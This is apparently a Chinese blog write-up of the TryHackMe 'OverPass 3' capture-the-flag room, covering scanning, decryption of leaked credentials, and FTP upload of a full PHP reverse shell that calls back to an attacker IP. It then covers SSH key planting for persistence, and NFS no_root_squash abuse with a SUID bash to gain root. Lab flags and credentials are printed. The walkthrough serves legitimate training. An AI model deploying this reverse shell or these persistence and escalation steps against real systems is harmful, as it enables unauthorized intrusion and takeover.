TryHackMe OverPass 3 - 全网最细

TryHackMe OverPass 3 - 全网最细

在这里插入图片描述

简介

这个是菜菜TiAmo的复现和学习日记,如果感觉不错点点关注和喜欢吧

文章目录

  • TryHackMe OverPass 3 - 全网最细
    • 简介
    • 端口扫描
    • web目录扫描
    • FTP上传webshell
    • webshell-linux提权
    • user.flag----nfs映射
    • 获取root权限

端口扫描

端口扫描发现这个IP开启了80,22 ,21端口我们先看看80web部分有啥

在这里插入图片描述

web目录扫描

这里我们发现使用的是apache说明有可能还是php作为后端语言写的,我们扫一下目录

在这里插入图片描述

还是比较难受的就是,只扫到了一个目录

在这里插入图片描述

目录里面的backup是一个下载页面,我们吧内容下载下来look一下

在这里插入图片描述

里面有一个加密文件和密钥

在这里插入图片描述

两份文件这个priv.key感觉是和密钥相关的

在这里插入图片描述

gpg --import priv.key
#通过执行这个命令,可以将指定的私钥导入到 GPG 的密钥环中,以便后续在加密、解密、签名等操作中使用该私钥

直接看这个发现上面那个密钥被销毁了已经过期了,but他在我们的目录出现了一个文件CustomerDetails.xlsx

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我们打开发现出现了一些用户名和密码组合,但是我们没有他登陆的页面,我们看看他的ftp能不能进去

在这里插入图片描述

哎嗨,成功了账号paradox,密码ShibesAreGreat123

在这里插入图片描述

FTP上传webshell

这边我们发现,这个ftp可以登陆,but这个目录和web目录是同一目录,我们传一个webshell并用web服务打开

这边的webshell是再棱角社区复制的
棱角社区反弹shell网址:反弹shell生成器 (ywhack.com)

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.14.81.28';//填自己的ip
$port = 4242; //反弹shell的端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

传进去直接再web端打开就可以反弹shell,phpwebshell.php

在这里插入图片描述

webshell-linux提权

如果你使用的是虚拟机,那么你需要映射端口才能使用NC来连接
netsh interface portproxy add v4tov4 listenport=4242 listenaddress=0.0.0.0 connectport=4242 connectaddress=虚拟机IP

在这里插入图片描述

连接上我们这个只是简单的一个webshell不方便看,使用python打开一个方便的窗口

python3 -c 'import pty;pty.spawn("/bin/bash")'

题目上说了再web目录我们的用户ID是apache所以我们直接去用户根目录也就是 cd ~

在这里插入图片描述

查看目录得到web.flag

答案:thm{0ae72f7870c3687129f7a824194be09d}

user.flag----nfs映射

第二个题目上说需要user flag 我们看一下用户
在这里插入图片描述

这里我们都知道,新建一个用户会在/home目录下创建一个文件夹以这个用户命名,我们不知道james的密码但是我们知道paradox的

登陆到paradox中一顿翻找发现没啥东西

su paradox   
//一定要使用python3 -c 'import pty;pty.spawn("/bin/bash")'否则不显示

在这里插入图片描述

那么东西就在James中,想办法提一下权限,网上的有一部分脚本可以使用,那么我们直接使用网上的脚本看看提权的方法

我们先创建一个ssh登陆结束我们的反向shell,防止抓包知道我们是如何攻击的,
查看authorized_keys 文件,这个文件写的是登陆的私钥,没有私钥
我们把自己的私钥添加进去
1.生成一个公钥和私钥

ssh keygen

在这里插入图片描述

将paradox.pub的私钥放在authorized_keys里面
切换到.ssh目录输入
这里要切换到被攻击机里面操作

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDjjnv6sEmdCSeAixSXlGTjLdP3IVxuWMY/YEc32CbD+ kali@LAPTOP-K5E81K5Q" >> authorized_keys

在这里插入图片描述

切换到攻击机kali登陆ssh -i paradox paradox@被攻击机IP

如果出现这个问题就是权限的问题,可以切换的root用户 输入 chmod 700 密钥文件名
密钥的权限是700 ,我们现在是0777所以需要改成700

在这里插入图片描述

我们将linpeas.sh通过ftp上传到服务器上并打开

在这里插入图片描述

这里网上的都是NFS,我自己试了一下sudo漏洞提权和linux的内核提权都以失败告终。那就跟着网上来吧谁让咱是菜菜那

在这里插入图片描述

╔══════════╣ Analyzing NFS Exports Files (limit 70)
Connected NFS Mounts:
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
-rw-r--r--. 1 root root 54 1118 2020 /etc/exports
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)#nfs默认目录是在/home/james的目录下那就是说user.flag是可能再这里的因为paradox这个用户没有。
#no_root_squash 选项也非常有趣,它基本上允许由 root 所有的文件保持其 root 权限。基本上,你的 root 就是我的 root,我的 root 就是你的 root。

kali机上执行,这样我们就的得到user.flag

ssh -fNL 2049:localhost:2049 -i id_rsa paradox@10.10.74.207
#要在id_rsa所在的目录
#在后台运行SSH,不执行任何远程命令,并将本地机器上的2049端口转发到远程机器(`10.10.74.207`)上的2049端口,使用`id_rsa`私钥进行身份验证,并以`paradox`用户身份连接到远程机器
#2049是 nfs的默认端口
make nfs4 #随便取个名字
mount -t nfs4 localhost:/ nfs4 #nfs映射的文件位置
cd nfs4
ls -la
总计 16
drwx------ 3 kali kali  112 2020年11月18日 .
drwxrwxrwx 1 kali kali 4096  5月21日 12:51 ..
lrwxrwxrwx 1 root root    9 2020年11月 9日 .bash_history -> /dev/null
-rw-r--r-- 1 kali kali   18 2019年11月 9日 .bash_logout
-rw-r--r-- 1 kali kali  141 2019年11月 9日 .bash_profile
-rw-r--r-- 1 kali kali  312 2019年11月 9日 .bashrc
drwx------ 2 kali kali   61 2020年11月 8日 .ssh
-rw------- 1 kali kali   38 2020年11月18日 user.flag

在这里插入图片描述在这里插入图片描述

user.flag thm{3693fc86661faa21f16ac9508a43e1ae}

获取root权限

cp /bin/bash . #将/bin/bash复制过来
sudo chmod +rx .#将目前权限改为可写可执行,因为没有指定用户所以默认为所有用户
sudo chown root:root bash #./bash所有者被更改为root用户,并且所属组也被更改为root组
sudo chmod +s bash  #bash将以文件所有者的权限运行,而不是执行该文件的用户的权限
ls -la #最后确认一遍

在这里插入图片描述

改完权限我们去paradox用户中去执行./bash来获取root权限

在这里插入图片描述

root.flag thm{a4f6adb70371a4bceb32988417456c44}

在这里插入图片描述

  • 38
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

菜菜TiAmo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值